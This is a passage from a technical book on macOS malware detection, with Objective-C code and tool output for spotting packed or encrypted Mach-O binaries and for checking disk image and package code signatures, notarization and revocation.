        [names addObject:name];

         struct section_64* section = (struct section_64*)((unsigned char*)segment +
        sizeof(struct segment_command_64)); 3

        for(uint32_t i = 0; i < segment->nsects; i++) { 4
            name = [[NSString alloc] initWithBytes:section->sectname
            length:sizeof(section->sectname) encoding:NSASCIIStringEncoding]; 5

            name = [name stringByTrimmingCharactersInSet:nullCharacterSet];
            [names addObject:name];

            section++;
        }
    }
    return names;
}

Listing 2-16: Iterating over each segment and its sections to extract their names

After extracting the pointer to each LC_SEGMENT_64 and saving it into a 
struct segment_command_64* 1, the code extracts the name of the segment 
from the segname member of the segment_command_64 structure, stored in a 
rather unwieldy (and not necessarily NULL-terminated) char array. The code 
converts it into a string object, trims any NULLs, and then saves it into an 
array to return to the caller 2.

Next, we iterate over the section_64 structures found in the LC_SEGMENT_64 
command. One structure exists for each section in the segment. Because 
they begin immediately after the segment_command_64 structure, we initialize  
a pointer to the first section_64 structure, adding the start of the segment 
_ command_64 structure to the size of this structure 3. Now we can iterate 
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over each section structure, bounded by the nsects member of the segment 
structure 4. As with each segment name, we extract, convert, trim, and 
save the section names 5.

Once we’ve extracted all segment and section names, we pass this list to a 
simple helper function named isPacked. Shown in Listing 2-17, it checks whether 
any names match those of well-known packers, such as UPX and MPress.

NSMutableSet* isPacked(NSMutableArray* segsAndSects) {
    NSSet* packers = [NSSet setWithObjects:@"__XHDR", @"upxTEXT", @"__MPRESS__", nil]; 1

    NSMutableSet* packedNames = [NSMutableSet setWithArray:segsAndSects]; 2
    [packedNames intersectSet:packers]; 3

    return packedNames;
}

Listing 2-17: Checking for segment and section names matching those of known packers

First, we initialize a set with a few well-known packer-related segment 
and section names 1. Then we convert the list of segments and sections into 
a mutable set 2, as mutable set objects support the intersectSet: method, 
which will remove any items in the first set that aren’t in the second. Once 
we’ve called this method 3, the only names left in the set of segment and sec-
tion names will match the packer-related ones.

After adding this code to the parseBinary project, we can run it against 
the macOS variant of the IPStorm malware:

% ./parseBinary IPStorm/IPStorm
binary is Mach-O
...
segments and sections: (
    "__PAGEZERO",
    "__TEXT",
    "upxTEXT",
    "__LINKEDIT"
)

binary appears to be packed
packer-related section or segment {( upxTEXT )} detected

Because the IPStorm binary contains a section named upxTEXT indicative 
of UPX, our code correctly ascertains that the binary is packed.

This name-based approach to packer detection has a low false-positive 
detection rate. However, it won’t detect custom packers or even modified 
versions of known packers. For example, if an attacker modifies UPX to 
remove custom section names (which, as UPX is open source, is easy to do), 
we’ll have a false negative, and the packed binary won’t be detected.

We find an example of this behavior in the malware known as Ocean- 
Lotus. In variant H, its authors packed the binary, flashlightd, with a cus-
tomized version of UPX. Our current packer detector fails to determine that 
the malware is packed:
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% ./parseBinary OceanLotus.H/flashlightd
binary is Mach-O
...
segments and sections: (
    "__PAGEZERO",
    "__TEXT",
    "__cfstring",
    "__LINKEDIT"
)

binary does not appear to be packed
no packer-related sections or segments detected

However, if we manually examine the malware, it becomes fairly obvi-
ous that the binary is packed. In a disassembler, large chunks of the binary 
appear obfuscated. We can also see that the binary contains no symbols or 
dependencies:

% ./parseBinary OceanLotus.H/flashlightd
binary is Mach-O
...
Dependencies: (count: 0): ()
Symbols: (count: 0): ()

Clearly, our packer detection approach needs some improvement. You’ll 
see how to detect packed binaries via their entropy next.

Entropy Calculations
When a binary is packed, the amount of randomness in it greatly increases. 
This is largely due to the fact that packers either compress or encrypt the 
binary’s original instructions. If we can calculate a binary’s quantity of 
unique bytes and classify it as anomalously high, we can fairly accurately 
conclude the binary is packed.

Let’s parse a Mach-O binary and calculate the entropy of its executable 
segments. The code in Listing 2-18 builds on the segment parsing code 
in the isPackedByEntropy function. After enumerating all LC_SEGMENT_64 load 
commands, the function invokes a helper function named calcEntropy on 
each to calculate the entropy of the segment’s data.

float calcEntropy(unsigned char* data, NSUInteger length) {
    float pX = 0.0f;
    float entropy = 0.0f;
    unsigned int occurrences[256] = {0};

    for(NSUInteger i = 0; i < length; i++) {
      1 occurrences[0xFF & (int)data[i]]++;
    }

    for(NSUInteger i = 0; i < sizeof(occurrences)/sizeof(occurrences[0]); i++) {
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      2 if(0 == occurrences[i]) {
            continue;
        }

      3 pX = occurrences[i]/(float)length;
        entropy -= pX*log2(pX);

    }
    return entropy;
}

Listing 2-18: Computing the Shannon entropy

The function first computes the number of occurrences of each byte 
value, from 0 to 0xFF 1. After skipping values that don’t occur 2, it performs  
a standard formula 3 to compute the Shannon entropy.9 The function should 
return a value between 0.0 and 8.0, ranging from no entropy (meaning all 
the values are the same) to the highest level of entropy.10

The code uses the entropy to determine whether the binary is likely 
packed (Listing 2-19). It’s inspired by the popular Windows-centric 
AnalyzePE and pefile Python libraries.11

BOOL isPackedByEntropy(struct mach_header_64* header, NSUInteger size) {
    ...
    BOOL isPacked = NO;
    float compressedData = 0.0f;

    NSMutableArray* commands = findLoadCommand(header, LC_SEGMENT_64);
    for(NSValue* command in commands) {
        ...
        struct segment_command_64* segment = command.pointerValue;

        float segmentEntropy = calcEntropy(((unsigned char*)header +
        segment->fileoff), segment->filesize);

      1 if(segmentEntropy > 7.0f) {
            compressedData += segment->filesize;
        }
    }

  2 if((compressedData/size) > .2) {
        isPacked = YES;
    }
    ...
    return isPacked;
}

Listing 2-19: Packer detection via entropy analysis

Testing has shown that if the entropy of an average-size segment is above 
7.0, we can confidently conclude that the segment contains compressed data, 
meaning it’s either packed or encrypted. In this case, we append the segment’s 
size to a variable to keep track of the total amount of compressed data 1.

Once we’ve computed the entropy of each segment, we check how much 
of the binary’s total data is packed by dividing the amount of compressed 
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data by the size of the Mach-O. Research has shown that Mach-O binaries 
with a ratio of packed data to overall length greater than 20 percent are 
likely packed (though the ratio is usually much higher) 2.

Let’s test this code against the packed IPStorm sample:

% ./parseBinary IPStorm/IPStorm
binary is Mach-O
...
segment (size: 0) __PAGEZERO's entropy: 0.000000
segment (size: 8216576) __TEXT's entropy: 7.884009
segment (size: 16) __LINKEDIT's entropy: 0.000000

total compressed data: 8216576.000000
total compressed data vs. size: 0.999998

binary appears to be packed
significant amount of high-entropy data detected

Hooray! The code correctly detected that the malware is packed. This 
is because the __TEXT segment has a very high entropy (7.884 out of 8), and 
because it’s the only segment containing any data, the ratio of packed data 
to the overall binary length is very high. Equally important is the fact that 
the code correctly determined that an unpacked version of the malware is 
indeed no longer packed:

% ./parseBinary IPStorm/IPStorm_unpacked
binary is Mach-O
...
segment (size: 0) __PAGEZERO's entropy: 0.000000
segment (size: 17190912) __TEXT's entropy: 6.185554
segment (size: 1265664) __DATA's entropy: 5.337738
segment (size: 1716348) __LINKEDIT's entropy: 5.618924

total compressed data: 0.000000
total compressed data vs. size: 0.000000

binary does *not* appear to be packed
no significant amount of high-entropy data detected

In this unpacked binary, the tool detects more segments, but all have an 
entropy of around 6 or below. Thus, it doesn’t classify any of them as contain-
ing compressed data, so the ratio of compressed data to binary size is zero.

As you’ve seen, this entropy-based approach can generically detect 
almost any packed binary, regardless of the packer used. This holds true 
even in the case of OceanLotus, whose authors used a customized version 
of UPX in an attempt to avoid detection:

% ./parseBinary OceanLotus.H/flashlightd
...
segment (size: 0) __PAGEZERO's entropy: 0.000000
segment (size: 45056) __TEXT's entropy: 7.527715
segment (size: 2888) __LINKEDIT's entropy: 6.201859
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total compressed data: 45056.000000
total compressed data vs. size: 0.939763

binary appears to be packed
significant amount of high-entropy data detected

Although the packed malware doesn’t contain any segments or sections 
that match known packers, the large __TEXT segment contains a very high 
amount of entropy (7.5+). As such, the code correctly determines that the 
OceanLotus sample is packed.

Detecting Encrypted Binaries
While Apple encrypts the Intel versions of various system binaries, encrypted 
third-party binaries are rarely legitimate, and you should flag these for closer 
analysis. Binary encryptors encrypt the original malware code at the binary 
level. To automatically decrypt the malware at runtime, the encryptor will 
often insert a decryption stub and keying information at the start of the 
binary unless the operating system natively supports encrypted binaries, 
which macOS does.

As with packed binaries, we can detect encrypted binaries using entropy 
calculations, as any well-encrypted file will have a very high level of random-
ness. Thus, the code provided in the previous section should identify them. 
However, you might find it worthwhile to write code that focuses specifically 
on detecting binaries encrypted with the native macOS encryption scheme. 
The encryption scheme is undocumented and proprietary, so any third-
party binary leveraging it should be treated as suspect.

We can see in the open source macOS Mach-O loader12 how to detect 
such binaries. In the loader’s code, we find mention of an LC_SEGMENT_64 
flag value named SG_PROTECTED_VERSION_1 whose value is 0x8. As explained 
in Apple’s mach-o/loader.h file, this means the segment is encrypted with 
Apple’s proprietary encryption scheme:

#define SG_PROTECTED_VERSION_1  0x8 /* This segment is protected.  If the
                                       segment starts at file offset 0, the
                                       first page of the segment is not
                                       protected.  All other pages of the
                                       segment are protected. */

Usually, malware will encrypt only the __TEXT segment, which contains 
the binary’s executable code.

Although it’s rare to discover malware leveraging this proprietary 
encryption scheme, we find an example in a HackingTeam implant installer. 
Using otool, let’s dump the load commands of this binary. Sure enough, the 
flags of the __TEXT segment are set to SG_PROTECTED_VERSION_1 (0x8):

% otool -l HackingTeam/installer
...
Load command 1
      cmd LC_SEGMENT
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  cmdsize 328
  segname __TEXT
   vmaddr 0x00001000
   vmsize 0x00004000
  fileoff 0
 filesize 16384
  maxprot 0x00000007
 initprot 0x00000005
   nsects 4
    flags 0x8

To detect if a binary is encrypted using this native encryption scheme, 
we can simply iterate over its LC_SEGMENT_64 load commands, looking for 
any that have the SG_PROTECTED_VERSION_1 bits set in the flags member of the 
segment_command_64 structure (Listing 2-20).

if(SG_PROTECTED_VERSION_1 == (segment->flags & SG_PROTECTED_VERSION_1)) {
    // Segment is encrypted.
    // Add code here to report this or to perform further processing.
}

Listing 2-20: Checking whether a segment is encrypted with the native macOS encryption 
scheme

This chapter has focused on 64-bit Mach-Os, but the HackingTeam 
installer is almost 10 years old and was distributed as a 32-bit Intel binary, 
which isn’t compatible with recent versions of macOS. To write code 
capable of detecting HackingTeam’s 32-bit installer, we’d have to make 
sure it uses the 32-bit versions of the Mach-O structures, such as mach_header 
and LC_SEGMENT.13 If we made these changes and ran the code against the 
installer, it would correctly flag the binary as leveraging Apple’s proprietary 
encryption scheme:

% ./parseBinary HackingTeam/installer
...
segment __TEXT's flags: 'SG_PROTECTED_VERSION_1'

binary is encrypted

We noted that though macOS does natively support encrypted binaries, 
because this is not documented, any third-party binary that is encrypted in 
this manner should be closely examined, as it may be malware with some-
thing to hide.14

Conclusion
In this chapter, you learned how to confirm that a file is a Mach-O or a uni-
versal binary containing Mach-Os. Then you extracted dependencies and 
names and detected whether the binary was packed or encrypted.
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Of course, there are many other interesting things you could do with 
a Mach-O binary to classify it as benign or malicious. Take a look at Kimo 
Bumanglag’s Objective by the Sea talk for ideas.15

A final thought: I’ve noted that no single data point covered in this chap-
ter can definitively indicate that a binary is malicious. For example, nothing 
stops legitimate developers from packing their binaries. Luckily, we have 
another powerful mechanism at our disposal to detect malware: code sign-
ing. Chapter 3 is dedicated to this topic. Read on!
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In this chapter, we’ll write code that can 
extract code signing information from 

distribution file formats that malware often 
abuses, such as disk images and packages. Then 

we’ll turn our attention to the code signing information 
of on-disk Mach-O binaries and running processes. For 
each, I’ll show you how to programmatically validate the 
code signing information and detect any revocations.

The behavior-based heuristics covered throughout this book are a 
powerful approach to detecting malware. But the approach comes with a 
downside: false positives, which occur when code incorrectly flags something 
as suspicious.

One way to reduce false positives is by examining an item’s code signing 
information. Apple’s support of cryptographic code signing is unparalleled, 
and as malware detectors, we can leverage it in a variety of ways, most nota-
bly to confirm that items come from known, trusted sources and that these 
items haven’t been tampered with.

3
C O D E  S I G N I N G
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On the flip side, we should closely scrutinize any unsigned or non- 
notarized item. For example, malware is often either wholly unsigned or 
signed in an ad hoc manner, meaning with a self-signed or untrusted cer-
tificate. While threat actors may occasionally sign their malware with fraud-
ulently obtained or stolen developer certificates, it’s rare for Apple to have 
notarized the malware as well. Moreover, Apple is often quick to revoke the 
signing certificate or notarization ticket when it makes a mistake.

You can find the majority of code snippets presented in this chapter in 
the checkSignature project, available in the book’s GitHub repository. 

The Importance of Code Signing in Malware Detection
As an example of why code signing is useful for malware detection, imagine 
that you develop a heuristic to monitor the filesystem for persistent items (a 
reasonable approach to detecting malware, as the vast majority of Mac mal-
ware will persist on an infected host). Say your heuristic triggers when the 
com.microsoft.update.agent.plist property list is persisted as a launch agent. This 
property list references an application named MicrosoftAutoUpdate.app, which 
the operating system will now start automatically each time the user logs in.

If your detection capabilities don’t take into account the code signing 
information of the persisted item, you might generate an alert for what is 
 actually a totally benign persistence event. The question, therefore, becomes: 
Is this really a Microsoft updater, or is it malware masquerading as such? 
By checking the application’s code signing signature, you should be able to 
answer this question conclusively; if Microsoft has indeed signed the item, 
you can ignore the persistence event, but if not, the item warrants a much 
closer look.

Unfortunately, existing malware detection products may fail to ade-
quately take code signing information into account. For example, consider 
Apple’s Malware Removal Tool (MRT), a built-in malware detection tool 
found in certain versions of macOS. This platform binary is, of course, 
signed by Apple proper. Yet many antivirus engines have, at one point or 
another, flagged an MRT binary, com.apple.XProtectFramework.plugins.MRTv3, 
as malicious because their antivirus signatures naively matched MRT’s own 
embedded viral signatures (Figure 3-1).

Figure 3-1: Apple’s Malicious Removal Tool flagged as malicious



Code Signing   77

A rather hilarious false positive indeed. Joking aside, products that 
incorrectly classify legitimate items as malware may alert the user, causing 
consternation, or worse, may break legitimate functionality by quarantin-
ing the item. While third-party security products luckily can’t delete system 
components such as MRT, Apple has been known to inadvertently block its 
own components, disrupting system operations.1 In both cases, the detec-
tion logic could have simply checked the item’s code signing information to 
see that it belonged to a trusted source.

Code signing information can do more than just reduce false positives. 
For example, security tools should allow trusted or user-approved items to 
perform actions that might otherwise trigger an alert. Consider the case 
of a simple firewall that generates a notification whenever an untrusted 
item attempts to access the network. To distinguish between trusted and 
untrusted items, the firewall can check the items’ code signing signatures. 
Creating firewall rules based on code signing information has a few benefits:

•	 If malware attempts to bypass the firewall by modifying a legitimate 
item, code signing checks will detect this tampering.

•	 If an approved item moves to another location on the filesystem, the 
rule will still match, as it isn’t tied to the item’s path or specific location.

Hopefully, these brief examples have already shown you the value of 
inspecting the code signing information. For good measure, let’s list a few 
other ways that code signing information can help us programmatically 
detect malicious code:

Detecting notarization    Recent versions of macOS require all down-
loaded software to be signed in order to run. As such, most malware is 
now signed, often with an ad hoc certificate or fraudulent developer ID. 
However, malware is rarely notarized, because notarization requires 
submitting an item to Apple, which scans it, then issues a notarization 
ticket if the item doesn’t appear to be malicious.2 On the few occasions 
that Apple has inadvertently notarized malware, it has quickly detected 
the misstep and revoked the notarization.3 These blunders are exceed-
ingly rare, and notarized items are most likely benign. Using code sign-
ing, you can quickly determine whether an item is notarized, providing 
a reliable indication that Apple doesn’t consider it to be malware.

Detecting revocations    If Apple has revoked an item’s code signing 
certificate or notarization ticket, it means they have determined that 
the item should no longer be distributed and run. Although revocation  
sometimes happens for benign reasons, it’s often because Apple deemed 
the item malicious. This chapter explains how to programmatically 
detect revocations.4

Linking items to known adversaries    Code signing information that 
researchers have attributed to malicious adversaries, such as team 
identifiers, can later identify other malware specimens created by the 
same authors.
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When detecting malware, you’re generally interested in the following 
code signing information for an item:

•	 The general status of the information, signing certificate, and notariza-
tion ticket. Is the item fully signed and notarized, and are the signing 
certificate and notarization ticket still in good standing?

•	 The code signing authorities describing the chain of signers, as they can 
provide insight into the origin and trustworthiness of the signed item.

•	 The item’s optional team identifier, which specifies the team or com-
pany that created the signed item. If the team identifier belongs to a 
reputable company, you can generally trust the signed item.

This chapter won’t cover code signing internals. Rather, it focuses on 
higher-level concepts, as well as the APIs used to extract code signing 
information.5

Keep in mind, however, that not everything on macOS is signed, nor is 
it signed in the same way. Most notably, developers can’t sign stand-alone 
scripts (one of the reasons Apple is desperately trying to deprecate them). 
Nor is the macOS kernel signed per se. Instead, the boot process uses a 
cryptographic hash to verify that it remains pristine.

While developers can and should sign distribution media such as disk 
images, packages, and zip archives, as well as applications and stand-alone 
binaries, the tools and APIs that extract the code signing information are 
often specific to the file type. For example, Apple’s codesign utility and code 
signing services APIs work on disk images, applications, and binaries, but 
not on packages, whose information you can examine with the pkgutil util-
ity or the private PackageKit APIs.

Let’s consider how to manually and programmatically extract and vali-
date code signing information, starting with distribution media.

Disk Images
Both legitimate developers and malware authors often distribute their code 
as disk images, which have the .dmg extension. Most disk images containing 
malware are unsigned, and if you encounter an unsigned .dmg, you should 
at the very least check whether the items it contains are signed and nota-
rized. The presence of code signing information doesn’t mean a disk image 
is benign, however; nothing stops malware authors from leveraging crypto-
graphic signatures. When you encounter a signed disk image, use its code 
signing information to identify the creator.

Manually Verifying Signatures
You can manually verify the signature of a disk image with macOS’s built-in 
codesign utility. Execute it with the --verify command line option (or -v for 
short) and the path of a .dmg file.

In the following example, codesign identifies a validly signed disk 
image containing LuLu, legitimate software from Objective-See. When it 
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encounters validly signed images, the tool won’t output anything by default; 
hence, we use the -dvv option to display verbose output:

% codesign –-verify LuLu_2.6.0.dmg

% codesign --verify -dvv LuLu_2.6.0.dmg
Executable=/Users/Patrick/Downloads/LuLu_2.6.0.dmg
Identifier=LuLu
Format=disk image
...
Authority=Developer ID Application: Objective-See, LLC (VBG97UB4TA)
Authority=Developer ID Certification Authority
Authority=Apple Root CA

The verbose output shows information about the disk image, such as 
its path, identifier, and format, as well as its code signing status, including 
the certificate authority chain. From the certificate authority chain, you can 
see the package has been signed with an Apple Developer ID belonging to 
Objective-See.

If a disk image isn’t signed, the utility will display a code object is not 
signed at all message. Many software items, including most of the malware 
specimens distributed via disk images, fall into this category; the authors 
may have signed the software or malware but not its distribution media. For 
example, take a look at the EvilQuest malware. Distributed via disk images, 
it contains packages of trojanized applications:

% codesign --verify "EvilQuest/Mixed In Key 8.dmg"
EvilQuest/Mixed In Key 8.dmg: code object is not signed at all

Lastly, if Apple has revoked a disk image’s signature, codesign will dis-
play CSSMERR_TP_CERT_REVOKED. You can see an example of this in the disk 
image used to distribute the CreativeUpdate malware:

% codesign --verify "CreativeUpdate/Firefox 58.0.2.dmg"
CreativeUpdate/Firefox 58.0.2.dmg: CSSMERR_TP_CERT_REVOKED

The malware’s signature is no longer valid.

Extracting Code Signing Information
Let’s programmatically extract and verify the code signing information of 
a disk image using Apple’s code signing services (Sec*) APIs.6 In the chap-
ter’s checkSignature project, you’ll find a function named checkItem that takes 
the path to an item to verify, such as a disk image, and returns a dictionary 
containing the results of the verification. For validly signed items, it also 
returns information such as the code signing authorities, if any.

For the sake of brevity, I’ve omitted basic sanity and error checks from 
most of the code snippets in this book. However, when it comes to code sign-
ing, which provides the means to make crucial decisions about the trustwor-
thiness of items, it’s imperative that the code handle errors appropriately. 
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Without resilient error-handling mechanisms, the code might inadvertently 
trust a malicious item masquerading as something benign! Thus, in this 
chapter, the code snippets don’t omit such important error checks.

The first step to extracting the code signing information of any item is to 
obtain what is referred to as a code object reference that you can then pass to 
all subsequent code signing API calls. For on-disk items such as disk images, 
you’ll obtain a static code object of type SecStaticCodeRef.7 For running pro-
cesses, you’ll instead obtain a dynamic code object of type SecCodeRef.8

To obtain a static code reference from a disk image, invoke the 
SecStaticCodeCreateWithPath API with a path to the specified disk image, 
optional flags, and an out pointer. Once the function returns, this out 
pointer will contain a SecStaticCode object for use in subsequent API calls 
(Listing 3-1).9 Note that you should free this pointer using CFRelease once 
you’re done with it.

NSMutableDictionary* checkImage(NSString* item) {
    SecStaticCodeRef codeRef = NULL;
    NSMutableDictionary* signingInfo = [NSMutableDictionary dictionary];

  1 CFURLRef itemURL = (__bridge CFURLRef)([NSURL fileURLWithPath:item]);

  2 OSStatus status = SecStaticCodeCreateWithPath(itemURL, kSecCSDefaultFlags, &codeRef);
  3 if(errSecSuccess != status) {
        goto bail;
    }
    ...

bail:
    if(nil != codeRef) {
        CFRelease(codeRef);
    }
    return signingInfo;
}

Listing 3-1: Obtaining a static code object for a disk image

After initializing a URL object containing the path of the disk image 
we’re to check 1, we invoke the SecStaticCodeCreateWithPath API 2. If this 
function fails, it will return a nonzero value 3. If Sec* APIs succeed, they 
return zero, which maps to the preferred errSecSuccess constant. I discuss 
the error codes that the Sec* APIs may return in “Code Signing Error 
Codes” on page 97. They’re also detailed in Apple’s “Code Signing Services 
Result Codes” documentation.10 Also note that when we are done with the 
code reference, we must release it via CFRelease.

In this and subsequent code snippets, you’ll see the use of bridging, 
a mechanism to cast Objective-C objects in a toll-free manner into (and 
out of) the Core Foundation objects used by Apple’s code signing APIs. 
For example, in Listing 3-1, the SecStaticCodeCreateWithPath API expects a 
CFURLRef as its first argument. After converting the path of the disk image to 
an NSURL object, we bridge it to a CFURLRef using (__bridge CFURLRef). You can 
read more about bridging in Apple’s “Core Foundation Design Concepts.”11
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Once we’ve created a static code object for the disk image, we can 
invoke the SecStaticCodeCheckValidity API with the just-created SecStaticCode 
object to check its validity, saving the result of the call so we can return it to 
the caller (Listing 3-2).

...
#define KEY_SIGNATURE_STATUS @"signatureStatus"

status = SecStaticCodeCheckValidity(codeRef, kSecCSEnforceRevocationChecks, NULL);
signingInfo[KEY_SIGNATURE_STATUS] = [NSNumber numberWithInt:status];
if(errSecSuccess != status) {
    goto bail;
}

Listing 3-2: Checking a disk image’s code signing validity

You’ll normally see this API invoked with the kSecCSDefaultFlags con-
stant, which contains a default set of flags, but to perform certificate revo-
cation checks as part of the validation, you need to pass in kSecCSEnforce 
RevocationChecks.

Next, we check that the invocation succeeded. If we fail to perform 
this validation, malicious code may be able to subvert code signing checks.12 
If the API fails, for example, with errSecCSUnsigned, you’ll likely want to abort 
the extraction of any further code signing information, which either won’t 
be present (in the case of unsigned items) or won’t be trustworthy.

Once we’ve determined the validity of the disk image’s code signing  
status, we can extract its code signing information via the SecCodeCopy 
Signing Information API. We pass this API the SecStaticCode object, the kSecCS 
Signing Information flag, and an out pointer to a dictionary to populate with 
the disk image’s code signing details (Listing 3-3).

CFDictionaryRef signingDetails = NULL;

status = SecCodeCopySigningInformation(codeRef,
kSecCSSigningInformation, &signingDetails);
if(errSecSuccess != status) {
    goto bail;
}

Listing 3-3: Extracting code signing information

Now we can extract stored details from the dictionary, such as the cer-
tificate authority chain, using the key kSecCodeInfoCertificates (Listing 3-4).

#define KEY_SIGNING_AUTHORITIES @"signatureAuthorities"

signingInfo[KEY_SIGNING_AUTHORITIES] = ((__bridge NSDictionary*)signingDetails)
[(__bridge NSString*)kSecCodeInfoCertificates];

Listing 3-4: Extracting the certificate authority chain
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If the item has an ad hoc signature, it won’t have an entry under the 
kSec Code InfoCertificates key in its code signing dictionary. Another way 
to identify ad hoc signatures is to check the kSecCodeInfoFlags key, which 
contains the item’s code signing flags. For ad hoc signatures, we’ll find the 
second least significant bit (2) set in the flag, which, after consulting Apple’s 
cs_blobs.h header file, we see maps to the constant CS_ADHOC.

It’s rare to see disk images signed in an ad hoc manner, as they don’t 
require a signature to begin with, but because apps and binaries must be 
signed to run, you’ll commonly see malware signed in this way. We can 
extract the code signing flags in the manner shown in Listing 3-5.

#define KEY_SIGNING_FLAGS @"flags"

signingInfo[KEY_SIGNING_FLAGS] = [(__bridge NSDictionary*)signingDetails
objectForKey:(__bridge NSString*)kSecCodeInfoFlags];

Listing 3-5: Extracting an item’s code signing flags

We could then check these extracted flags for the value indicating an 
ad hoc signature (Listing 3-6).

if([results[KEY_SIGNING_FLAGS] intValue] & CS_ADHOC) {
    // Code here will run only if item is signed in an ad hoc manner.
}

Listing 3-6: Verifying code signing flags

The dictionary stores these flags in a number object, so we must first 
convert them to an integer and then perform a bitwise AND operation (&) 
to check for the bits specified by CS_ADHOC.

When we’re finished with the CFDictionaryRef dictionary, we must free it 
via CFRelease.

Extracting Notarization Information
To extract the notarization status of the disk images, we can use the 
SecRequirementCreateWithString API, which lets us create a requirement to 
which an item must conform. In Listing 3-7, we create a requirement with 
the string "notarized".

static SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(CFSTR("notarized"), kSecCSDefaultFlags, &requirement);

Listing 3-7: Initializing a requirement reference string

The API generates an object by compiling the code requirement string 
we pass to it, allowing us to use the requirement multiple times.13 If you’re 
performing a one-time requirement check, you can skip the compilation 
step and instead use the SecTaskValidateForRequirement API, which takes a 
string-based requirement to validate as a second argument.

Now we can call the SecStaticCodeCheckValidity API, passing it the 
SecStaticCode object, as well as the requirement reference (Listing 3-8).
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if(errSecSuccess == SecStaticCodeCheckValidity(codeRef, kSecCSDefaultFlags, requirement)) {
    // Code placed here will run only if the item is notarized.
}

Listing 3-8: Checking a notarization requirement

If the API returns errSecSuccess, we know that the item conforms to 
the requirement we passed in. In our case, this means the disk image is 
indeed notarized. You can read more about requirements, including useful 
requirement strings, in Apple’s informative “Code Signing Requirement 
Language” document.14

If the notarization validation fails, we should check whether Apple has 
revoked the item’s notarization ticket, even if the item is validly signed. This 
nuanced case presents a huge red flag; for an example, see the discussion of 
the 3CX supply chain attack in “On-Disk Applications and Executables” on 
page 93.

Although I’ve asked for one,15 Apple has not approved any method 
of determining whether an item’s notarization ticket has been revoked. 
However, two undocumented APIs, SecAssessmentCreate and SecAssessment Ticket 
Lookup, can provide this information. In Listing 3-9, we invoke SecAssessment 
Create to check whether an item that has passed other code signing checks 
has had its notarization ticket revoked.

1 SecAssessmentRef secAssessment = SecAssessmentCreate(itemURL,
kSecAssessmentDefaultFlags, (__bridge CFDictionaryRef)(@{}), &error);
2 if(NULL == secAssessment) {
    if( (CSSMERR_TP_CERT_REVOKED == CFErrorGetCode(error)) ||
        (errSecCSRevokedNotarization == CFErrorGetCode(error)) ) {
        signingInfo[KEY_SIGNING_NOTARIZED] =
        [NSNumber numberWithInteger:errSecCSRevokedNotarization];
    }
}
3 if(NULL != secAssessment) {
    CFRelease(secAssessment);
}

Listing 3-9: Checking whether a notarization ticket has been revoked

We pass the function the path to the item, such as a disk image; the 
default assessment flags; an empty but non-NULL dictionary; and an out 
pointer to an error variable 1.

If Apple has revoked either the notarization ticket or the certificate, 
the function will set an error to CSSMERR_TP_CERT_REVOKED or errSecCSRevoked 
Notarization. The name of the first error is a bit nuanced, as it can return 
items with valid certificates but revoked notarization tickets, which is what 
we’re interested in here.

If we receive a NULL assessment and either of these error codes 2, we 
know something has been revoked. Moreover, because we’ve already vali-
dated the code signing certificates, we know that the revocation refers to 
the notarization ticket. Once we’re done with the assessment, we make sure 
to free it if it’s not NULL 3.
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Running the Tool
Let’s compile the checkSignature project and run it against the disk images 
mentioned earlier in this section:

% ./checkSignature LuLu_2.6.0.dmg
Checking: LuLu_2.6.0.dmg
Status: signed
Is notarized: no

Signing auths: (
    "<cert(0x11100a800) s: Developer ID Application: Objective-See, LLC (VBG97UB4TA)
    i: Developer ID Certification Authority>",
    "<cert(0x111808200) s: Developer ID Certification Authority i: Apple Root CA>",
    "<cert(0x111808a00) s: Apple Root CA i: Apple Root CA>"
)

As expected, the code reports that LuLu’s disk image is signed, though 
it isn’t notarized. The code also extracts the chain of its code signing 
authorities, which include its developer ID application and its developer ID 
certification authority. (When detecting malware, you may want to ignore 
disk images signed via trusted developer IDs unless you’re interested in 
detecting supply chain attacks.)

Now let’s run the code against the EvilQuest malware. As you’ll see, the 
code matches the results from Apple’s codesign utility, indicating that the 
disk image is unsigned:

% ./checkSignature "EvilQuest/Mixed In Key 8.dmg"
Checking: Mixed In Key 8.dmg
Status: unsigned

Finally, we run the code against the CreativeUpdate malware, whose 
code signing certificate has been revoked:

% ./checkSignature "CreativeUpdate/Firefox 58.0.2.dmg"
Checking: Firefox 58.0.2.dmg
Status: revoked

Now that we can programmatically extract and validate code signing 
information from disk images, let’s do the same for packages, which unfor-
tunately require a completely different approach.

Packages
You can manually verify the signature of a package (.pkg) with the built-in 
pkgutil utility. Execute it with the --check-signature command line option, 
followed by the path of the .pkg file you’d like to verify. The utility should 
display the result of the check in a line prefixed with Status:
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% pkgutil --check-signature GoogleChrome.pkg
Package "GoogleChrome.pkg":
   Status: signed by a developer certificate issued by Apple for distribution
   Notarization: trusted by the Apple notary service
   Signed with a trusted timestamp on: 05-15 20:46:50 +0000
   Certificate Chain:
    1. Developer ID Installer: Google LLC (EQHXZ8M8AV)
       Expires: 2027-02-01 22:12:15 +0000
       SHA256 Fingerprint:
           40 02 6A 12 12 38 F4 E0 3F 7B CE 86 FA 5A 22 2B DA 7A 3A 20 70 FF
           28 0D 86 AA 4E 02 56 C5 B2 B4
       -----------------------------------------------------------------------
    2. Developer ID Certification Authority
       Expires: 2027-02-01 22:12:15 +0000
       SHA256 Fingerprint:
           7A FC 9D 01 A6 2F 03 A2 DE 96 37 93 6D 4A FE 68 09 0D 2D E1 8D 03
           F2 9C 88 CF B0 B1 BA 63 58 7F
       -----------------------------------------------------------------------
    3. Apple Root CA
       Expires: 2035-02-09 21:40:36 +0000
       SHA256 Fingerprint:
           B0 B1 73 0E CB C7 FF 45 05 14 2C 49 F1 29 5E 6E DA 6B CA ED 7E 2C
           68 C5 BE 91 B5 A1 10 01 F0 24

The results show that pkgutil has verified that the package, a Google 
Chrome installer, is signed and notarized. The tool also displayed the cer-
tificate authority chain, which indicates that the package was signed via an 
Apple Developer ID belonging to Google.

Note that you can’t use the codesign utility to check the code signature 
of packages, as .pkg files use a different mechanism for storing code sign-
ing information that codesign doesn’t understand. For example, when run 
against the same package, it detects no signature:

% codesign –-verify -dvv GoogleChrome.pkg
GoogleChrome.pkg: code object is not signed at all

If a package isn’t signed, pkgutil will display a Status: no signature mes-
sage. Most malware distributed via packages, including EvilQuest, falls into 
this category. These disk images contain a malicious package, and once 
the disk image is mounted, we can use pkgutil to show that this package 
is unsigned:

% pkgutil --check-signature "EvilQuest/Mixed In Key 8.pkg"
Package "Mixed In Key 8.pkg":
   Status: no signature

Finally, if a package was signed but Apple has revoked its code signing 
certificate, pkgutil will display Status: revoked signature but will still show 
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the certificate chain. We find an example of this behavior in a package used 
to distribute the KeySteal malware:

